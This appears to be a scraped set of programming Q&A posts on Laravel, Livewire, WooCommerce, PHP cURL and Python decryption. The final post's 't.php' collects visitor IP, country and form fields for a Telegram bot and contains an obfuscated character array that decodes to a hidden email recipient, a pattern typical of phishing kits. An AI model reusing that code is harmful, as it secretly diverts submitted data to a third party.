List of recipes with ability to sort them by date. Livewire 3

I need to create a logic for my page with filtered recipes with ability to sort them by date

Current code

RecipeController gives me $recipes it is a collection with filtered recipes (params for filter are from URL):

class RecipeController extends Controller
{
    public function index(RecipeFilterRequest $request)
    {
        // ...after filtration logic => $recipes

        return view('recipes.recipes', compact('recipes'));
    }
}

And then in recipes/recipes.blade.php:

@foreach($recipes as $recipe)
    <x-recipe-card :recipe="$recipe"/>
@endforeach

components/recipe-card.blade.php is basically a card with recipe info

What I want to achieve:

I need to create a logic for dropdown filter that will sort list of filtered recipes by date added

It looks like this: https://i.ibb.co/wrrffZVK/sort-dropdown.jpg

My suggestion:

Make an extra livewire component livewire/recipes-list.blade.php(RecipesList.php) and in recipes.blade.php use this livewire component for the list of (filtered in RecipeController) recipes .

and I’ll basically do everything in this order:

RecipeController =(passing $recipes)=> recipes.blade.php =(passing $recipes to livewire component)=> livewire/recipes-list.blade.php

and in livewire/recipes-list.blade.php I’ll add logic for this dropdown

What do you think?

Has anyone done anything similar/exactly the same?

Would be grateful for some advices

Laravel Auth::attempt() error: “Unknown column ‘password'” when using a custom password field

I’m working on a Laravel project to migrate the project from codeigniter to laravel so i’m using a multi guard authentication and custom admin user table named tbl_admin_user, where both email and password column is named admin_user_email_id and admin_user_password instead of the default password.

But currently i’m facing this error – Where the field name is not mapping i guess plus I don’t know why it’s even passing the update query and the hashed password is not similar with the password which i have in my DB.
The error highlights on the attempt() method..
Error

I have a custom guard admin and a custom Office model that extends Authenticatable. Here’s what I’ve done:
Model


namespace AppModels;

use IlluminateSupportFacadesHash;
use IlluminateNotificationsNotifiable;
use IlluminateDatabaseEloquentFactoriesHasFactory;
use IlluminateFoundationAuthUser as Authenticatable;

class Office extends Authenticatable
{

    use HasFactory, Notifiable;

    protected $table = 'tbl_admin_user';
    protected $primaryKey = 'admin_user_id';
    public $incrementing = true;
    public $keyType = 'int';

    protected $fillable = [
        // other column names
        'admin_user_email_id',
        'admin_user_password',
       // other column names
        'admin_updated_on',
        'admin_created_on',
    ];

    // Use customized field name
    public function getAuthIdentifierName() {
        return 'admin_user_email_id';
    }
    
    // Gets the hashed password
    public function getAuthPassword() {
        return $this->admin_user_password;
    }


    public $timestamps = false;

}

Login function from the controller

// Begin::Authenticate login
    public function authenticateOfficeLogin(Request $request) {
        // validate
        $validate = $request->validate([
            'admin_user_email_id' => 'required|email',
            'admin_user_password' => 'required'
        ]);
        
        // Store credentials
        $credentials = [
           'admin_user_email_id' => $validate['admin_user_email_id'],
           'password' => $validate['admin_user_password'],
           'admin_user_status' => 1,
        ];
        
        $user = Office::where('admin_user_email_id', $request->admin_user_email_id)->first(); // Gets the matching data

       
        // Check if user is authenticated
        if($user) {
            $authenticate = Auth::guard('admin')->attempt($credentials); // Here i got the error
            // if authenticated
                if($authenticate) {
                    return redirect()->route('office.dashboard')->with('success','Logged In Successfully!'); // redirect to the dashboard
                }
            }
        }
    // End::Authenticate login

What i’ve tried :
Cleared configuration and route cache using php artisan config:clear, route:clear, and cache:clear and even tried optimize:clear.

Added Log::info() statements before the Auth::attempt() call, but nothing gets logged.

Verified that the provided password matches the hashed password using Hash::check() inside dd() before the attempt() call, and it returned true for now.

Core PHP cURL – header origin pass null value

Payment Gateway Integration To access the URL, I’m using PHP’s cURL function. Please refer to the code.

The code answer is 200 OK. However, it is not the intended answer. I reviewed the request headers in the developer tool and found that the Origin value is null.

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://test.sbiepay.sbi/secure/AggregatorHostedListener");
curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'EncryptTrans' => $EncryptTrans,
    'merchIdVal' => $sbimerchantid
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Origin: https://daa12.in',
    'Referer: https://daa12.in/',
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36'
]);


curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_VERBOSE, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if ($response === false) {
    echo "cURL Error: " . curl_error($ch);
}
else
{
    echo $response;
}
curl_close($ch);

Please provide the solution for this issue. If the proper URL is passed by the origin variable, I will receive the anticipated response. I don’t know; the origin value is null.

This is the request headers value

    accept:      text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US,en;q=0.9,ar;q=0.8
cache-control:  max-age=0
connection:    keep-alive
content-length:  318
content-type:    application/x-www-form-urlencoded
cookie:    PHPSESSID=07s6sja3dqlllmrl9n82kq46ob
host:   daa12.in
origin: null

Concerns when migrating from PHP 5.6 to 8.4 [closed]

I am currently using PEAR and considering migrating from PHP 5.6 to PHP 8.4 for our current site.
Does the latest stable version of PEAR (1.10.16) support PHP8.4?
Or should I discontinue PEAR and move to Composer?

I’d like to avoid major renovations as much as possible.

Package in use
HTTP_Request2, OS_Guess, Net_URL2

My controller is not returning response to ajax

I have a form in several tabs to store patient data, when i click a button i save the data via ajax, and it will automatically go to the next tab
My problem is, the data can be saved in the database, but it can’t automatically go to the next tab
In the controller I return JSON and it is displayed as an HTML page
can you help me solve this problem

this is my ajax script

$(".formkeluhanutama").submit(function(e) {
            e.preventDefault();
            $.ajax({
                url: "<?= site_url('rekammedis/pengkajian/keperawatan/simpan_keluhan_utama'); ?>",
                type: "post",
                data: $(this).serialize() + '&' + csrfName + '=' + csrfHash,
                dataType: "json",
                beforeSend: function() {
                    $('.btn-next').attr('disabled', true).html('<i class="fas fa-spinner fa-spin"></i>'); // Loading state
                },
                success: function(response) {
                    if (response.sukses) {
                        // Pindah tab ke "Pemeriksaan Fisik"
                        $('#pemeriksaan-fisik-tab').tab('show');
                    } else {
                        // Tampilkan error validasi jika ada
                        if (response.error) {
                            if (response.error.keluhan_utama) {
                                $('#keluhan_utama').addClass('is-invalid');
                                $('.errorKeluhanUtama').html(response.error.keluhan_utama);
                            } else {
                                $('#keluhan_utama').removeClass('is-invalid');
                                $('.errorKeluhanUtama').html('');
                            }
                        }
                    }
                },
                error: function(xhr, ajaxOptions, thrownError) {
                    alert(xhr.status + "n" + xhr.responseText + "n" + thrownError);
                }
            });
            return false
        });

this is my controller

public function simpanKeluhanUtama()
    {
        $validation = ConfigServices::validation();

        $valid = $this->validate([
            'keluhan_utama' => [
                'label' => 'Keluhan Utama',
                'rules' => 'required',
                'errors' => [
                    'required' => '{field} Lengkapi form ini'
                ]
            ]
        ]);

        if (!$valid) {
            // Kalau validasi gagal, bisa redirect balik atau kasih error
            return $this->response->setJSON([
                'error' => [
                    'keluhan_utama' => $validation->getError('keluhan_utama')
                ]
            ]);
        } else {
            $simpandata = [
                'id_kunjungan' => $this->request->getVar('id_kunjungan'),
                'keluhan_utama' => $this->request->getVar('keluhan_utama'),
                'anamnesa' => $this->request->getVar('anamnesa'),
                'riwayat_penyakit' => $this->request->getVar('riwayat_penyakit'),
                'riwayat_alergi' => $this->request->getVar('riwayat_alergi'),
                'riwayat_obat' => $this->request->getVar('riwayat_obat'),
                'id_faktor_resiko' => is_array($this->request->getVar('perilaku_beresiko')) ? implode(',', $this->request->getVar('perilaku_beresiko')) : $this->request->getVar('perilaku_beresiko'),
                'faktor_resiko_lain' => $this->request->getVar('perilaku_beresiko_lain')
            ];

            $keluhanUtama = new AppModelsKeluhanUtamaModel();
            $keluhanUtama->insert($simpandata);

            // Setelah simpan, redirect atau kasih flash message
            log_message('debug', 'Sukses insert keluhan utama');

            return $this->response->setJSON(['sukses' => true]);
        }
    }

the data can be saved to the database, but the return from the controller is JSON “success: true” in the html page, not a view to the next tab
When I try to console.log(response), it doesn’t return any value. can you help me?

I hope that what comes back is the next tab view

saving Elementor form data as user meta in wordpress

I want to save an Elementor pro form field into user meta field that I have created using ACF.

Long description:
I have created an empty custom field in WordPress user meta. on the front end I have a form and there is a field on that which I want its data will be saved to that custom field in user meta.

What can I do?

I am stuck in the email sending system of WooCommerce WordPress

My functions.php:

add_filter('woocommerce_email_classes', 'add_custom_order_status_emails');

function add_custom_order_status_emails($emails) {

$emails['WC_Email_Customer_Doi_Xac_Nhan_Order'] = include get_stylesheet_directory() . '/woocommerce/emails/class-wc-email-customer-doi-xac-nhan-order.php';

`$email_admin = include get_stylesheet_directory() . '/woocommerce/emails/class-wc-email-admin-da-cap-nhat.php';`

`$email_customer = include get_stylesheet_directory() . '/woocommerce/emails/class-wc-email-customer-da-cap-nhat.php';`

`$emails['WC_Email_Admin_Updated'] = $email_admin;`

`$emails['WC_Email_Customer_Updated'] = $email_customer;`
return $emails;

}

add_action('woocommerce_order_status_changed', 'trigger_custom_order_email', 10, 4);

function trigger_custom_order_email($order_id, $old_status, $new_status, $order) {

if ($new_status === DOI_XAC_NHAN) {

    `WC()->mailer()->emails['WC_Email_Customer_Doi_Xac_Nhan_Order']->trigger($order_id);`
}

`if ($new_status === DA_CAP_NHAT) {`

    `WC()->mailer()->emails['WC_Email_Admin_Updated']->trigger($order_id);`

    `WC()->mailer()->emails['WC_Email_Customer_Updated']->trigger($order_id);`

`}`
}

theme-child structure

/woocommerce

    /emails

        - admin-new-order.php

        - admin-updated-status.php

        - class-wc-email-admin-da-cap-nhat.php

        - class-wc-email-customer-da-cap-nhat.php

        - class-wc-email-customer-doi-xac-nhan-order.php

        - customer-awaiting-confirmation.php

        - customer-updated-status.php

    /plain

The issue I’m facing is that when I call trigger() to send emails, the second email gets sent but it doesn’t have any CSS. I already checked under WooCommerce → Settings → Emails → Template, and my custom email templates all display the correct layout. I’ve asked ChatGPT and Cursor, but I still haven’t been able to fix it.

And when I switched the order of these two lines, the admin email was no longer sent to the admin:

if ($new_status === DA_CAP_NHAT) {

$email_customer = WC()->mailer()->emails['WC_Email_Customer_Updated'];

$email_admin = WC()->mailer()->emails['WC_Email_Admin_Updated'];

}

My code:

file class-wc-email-admin-da-cap-nhat.php https://textdoc.co/NJPtjVHWwc1RCoyX

file template admin-updated-status.php

https://textdoc.co/WBfPAaELgC9JKGuh

file class-wc-email-customer-da-cap-nhat.php

https://textdoc.co/tEYw4TpK9HSzZ7Gy

file template customer-updated-status.php

https://textdoc.co/KH04c6RbTdB2IMre

Link Image:
email for admin: https://postimg.cc/QH6X4KCN
enter image description here

email for customer: https://postimg.cc/06SPytfr
enter image description here

Livewire 3.6.10 with Laravel 11: wire:model not binding input value after page refresh

I’m working with Laravel 11, Livewire 3.6.10, and Alpine.js (properly configured). I’m encountering an issue where wire:model doesn’t bind the value to an input field after a page refresh, even though the variable is correctly set in the component.

What Works

  • Items are listed correctly in a table.
  • Adding a new item works perfectly.
  • Clicking “Edit” immediately after adding an item shows the form with values populated (including the input field).

The Issue

If I refresh the page and then click “Edit” on an item:

  • The variable {{ $name }} displays correctly.
  • But the input field bound with wire:model="name" does not show the value.

Code Snippets

<table class="min-w-full">
    <thead>
        <tr>
            <th>#NO</th>
            <th>Name</th>
            <th>Actions</th>
        </tr>
    </thead>
    <tbody>
        @foreach ($list as $item)
            <tr>
                <td>{{ $loop->iteration }}</td>
                <td>{{ $item->name }}</td>
                <td>
                    <button wire:click="edit({{ $item->id }})">Edit</button>
                </td>
            </tr>
        @endforeach
    </tbody>
</table>

Edit Form

{{ $name }} <!-- Displays correctly -->

<form wire:submit.prevent="{{ $isEdit ? 'update' : 'store' }}">
    <input type="text" wire:model="name">
</form>

Edit method

public function edit($id)
{
    $inventory = ModelsInventory::findOrFail($id);

    $this->inventory_id = $id;
    $this->name = $inventory->name;
}

Debugging Summary

  • $name is correctly populated.
  • {{ $name }} displays the expected value.
  • However, <input wire:model="name"> does not reflect the value after a page refresh.

Question

Why is the value not binding to the input via wire:model after a page refresh, even though the component variable is correctly populated?

Note: the project is created with starter kit, laravel breeze, it has livewire and alpine configured.

app.js

import Alpine from 'alpinejs'
import persist from '@alpinejs/persist'
import './bootstrap'; // assuming Livewire's stuff is here

// Only register Alpine once (before Livewire boots it)
window.Alpine = Alpine
Alpine.plugin(persist)

There are no browser console errors.

I have found a code snippet online that says as follow

Force DOM Update with Alpine

<input type="text" 
       wire:model="name" 
       x-data 
       x-init="$nextTick(() => { $el.value = '{{ $name }}' })">

I have tried this snippet, surprisingly it worked.

But the problem is that, I don’t want these extra things in my input field, I want to use only wire:model="name" and it should work.

Decrypt a value in Python that was encrypted using PHP openssl

I have a value that was encrypted using PHP openssl using cipher AES-CBC-256 but the passphrase for the final value was also encrypted using the same method. openssl_encrypt($key, $cipher, $passphrase, 0, $iv)

I need to be able to unencrypt this data using Python but I’m running into block-size issues.

Here’s some of the code I have so far. I have tested decrypting this in PHP and it works properly. My final value in this example should be ‘Jimmy’.

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

localKey = base64.b64decode('Po0KPxyF')
localIv = base64.b64decode('s8W+/a4jkp9mhO3NkCL7Yg==')

encrypted_value = base64.b64decode('hl5n6Nq5QYtgKIyLEVCupA==')
encrypted_key = base64.b64decode('MGRHRFlaMzhCR0lxb2VHS1JHQXcrWkV2bkJpNWFZb3cybW9iQW5KYTlOU0xKK1FHc2pPUW1MUE9JRU5zTXN1Rg==')
encrypted_iv = base64.b64decode('J31SrExr7KKIOertYIPhpQ==')

# First need to encrypted key that uses the local key as the passphrase
cipher_key = AES.new(pad(localKey,16), AES.MODE_CBC, localIv)
decrypted_key = cipher_key.decrypt(encrypted_key)

# Then decrypted the final value using the newly decrypted key
cipher_key = AES.new(unpad(decrypted_key,16), AES.MODE_CBC, encrypted_iv)
decrypted_value = cipher_key.decrypt(encrypted_value)

Install phpspreadsheet on old version of Mac

I’m running PHP version 7.3.29 on Mac and need to install PhpSpreadsheet but get errors

phpoffice/phpspreadsheet 1.18.0 requires ext-zip * -> it is missing
from your system. Install or enable PHP’s zip extension.

and

phpoffice/phpspreadsheet[1.26.0, …, 1.29.10] require php ^7.4 ||
^8.0 -> your php version (7.3.29) does not satisfy that requirement.

Update : I’m using local running PHP version 8.1.23. I need the correct way to install PHP extensions in Local by Flywheel on macOS.

Cannot install phpspreadsheet and cannot download Excel spreadsheets in .xlsx) format. I have tried updating PHP and installing an older version pf php spreadsheet but nothing works.

So the core problem is that the PHP zip extension is missing from my system, which is preventing PhpSpreadsheet from being installed.

I cannot install the PHP zip extension on my machine

PHP form submit gives internal server error after migrating website to another server for some content only [duplicate]

I am getting internal server error after submitting form.. Already checked error_log but nothing is generating. This issue is occured when I moved website to another server. In old server, everything was working fine.

  • Current PHP Version 8.2.28

found the error log location at /home/username/logs/domainname.php.error.log — but it is empty. this is likely not the error log for my 500 error.

form.php

<form method="post" action="submitUpdatedSpeaker.php" name="Contact Form" id="contactform" enctype="multipart/form-data"> 
    <textarea name="content" id="content"></textarea>
    <input type="submit" value="Submit" /> 
</form> 

submitUpdatedSpeaker.php

<?php
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
echo "Test";
?>

I have many fields in form but for checking I just added this simple code and submitted form, but still this code is not working. submitUpdatedSpeaker.php file gives blank screen when I do view source it prints Internal Server Error 500.

Issue is only occured when I submitted following text in textarea

“Unknown is a professional football quarterback currently playing for the Test
in the He was selected as the first overall pick in
the YEAR Draft by the Location.

Name attended School Name High School in City, Country, where he excelled as as
quarterback, amassing Number passing yards and Number touchdowns over three varsity seasons.
He then played college football at the Univeristy of State, Country, from 2013 to 2015.
During his tenure with the Country Club, Name set numerous school records,
including career passing yards (Number) and touchdown passes (Number). In his junior year, he
set Name single-season records with Number passing yards and Number touchdown passes.
Following this standout season, Name declared for the Shortform Draft.”

Force PHP to NOT handle MariaDB / MySQL errors [duplicate]

I think about a year ago after an update to PHP it suddenly started handling database errors itself where as I have an else condition and function that is universal in my code. This is unacceptable as my database error handling function is much more graceful for users whereas PHP just kills the connection…because it’s not designed to handle database errors.

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
set_error_handler('error_report');
register_shutdown_function('error_report');
?>

How do I force PHP to ignore database errors while still handling the maximum sensitivity for all other (relevant) errors?

How to manage different weight units at the product varition level in WooCommerce?

Referencing this particular question: How to manage different weight units at the product level in WooCommerce?

I have a question in regards to adding something similar to this coding.

How would I get it to apply to the individual variations on a product? Bonus if it gets the weight to appear according to selection on the invoice as well.

(https://i.sstatic.net/JpESdTF2.png)

— Product Example — I am offering two versions of the same product but one is Standard Edition (weighs 13oz) and the other is a Special Edition (weighs 1lb 6oz because of bonus material). I want to be able to display those weights in the different weights (lbs & oz).

I tried the suggestion in the referenced post but am unsure how to get it to appear under the individual variations.

How to submit contact form form with file attachment and get the result in telegram bot

How can my submisson submit two diffrent file upload to telegram bot along with other result, please help me look into this, am novice.

i was trying to build contact form with two attachment and result to telegram bot, i need my contact form to submit contact deatils along with the image file to my telegram bot.

**My config.php**
<?php


function send_telegram_msg($message){
// Put Your Telegram Information Here for result to telegram
$botToken  = '567434567:rtyuugf';// your telegram bottoken from bot father for 
$chat_id  = ['123456789'];// your telegram chat it from userinfobot


$website="https://api.telegram.org/bot".$botToken;
foreach($chat_id as $ch){
$params=[
  'chat_id'=>$ch, 
  'text'=>$message,
];
$ch = curl_init($website . '/sendMessage');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 3);
curl_setopt($ch, CURLOPT_POST, 3);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
}
return true;
}
?>


**My t.php**

<?php
require("config.php");
$country = visitor_country();

$Port = getenv("REMOTE_PORT");
$browser = $_SERVER['HTTP_USER_AGENT'];
$adddate=date("D M d, Y g:i a");
$message .= "**contact form ***+++n";
$message .= "Phone Number : ".$_POST['phone']."n";
$message .= "Email : ".$_POST['email']."n";
$message .= "File upload 1 : ".$_POST['file1']."n";
$message .= "File upload 2 : ".$_POST['file2']."n";
$headers = "From: CONTACT FORM";
@mail($send,$subject,$message,$headers);
send_telegram_msg($message);
header("location:success.html");
function country_sort(){
$sorter = "";
$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
$sorter .= chr($array[$i]);
}
return array($sorter, $GLOBALS['recipient']);
}
function visitor_country()
{
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];
$result  = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{  
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}



if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryName;
}

return $result;
}
?>



**My form.html**

<form class="new_user" id="new_user" data-validate="signin" action="t.php" accept-charset="UTF-8" method="post" enctype="multipart/form-data">
<!-- Form fields -->
<div class="form-group">
<label for="name">Name:</label>
<input type="text" id="name" name="name" required>
</div>

<div class="form-group">
<label for="email">Email:</label>
<input type="email" id="email" name="email" required>
</div>

<div class="form-group">
<label for="image">Upload 1:</label>
<input type="file" id="image" name="file1" required>
</div>

  <div class="form-group">
 <label for="image">Upload 2:</label>
 <input type="file" id="image" name="file2" required>
 </div>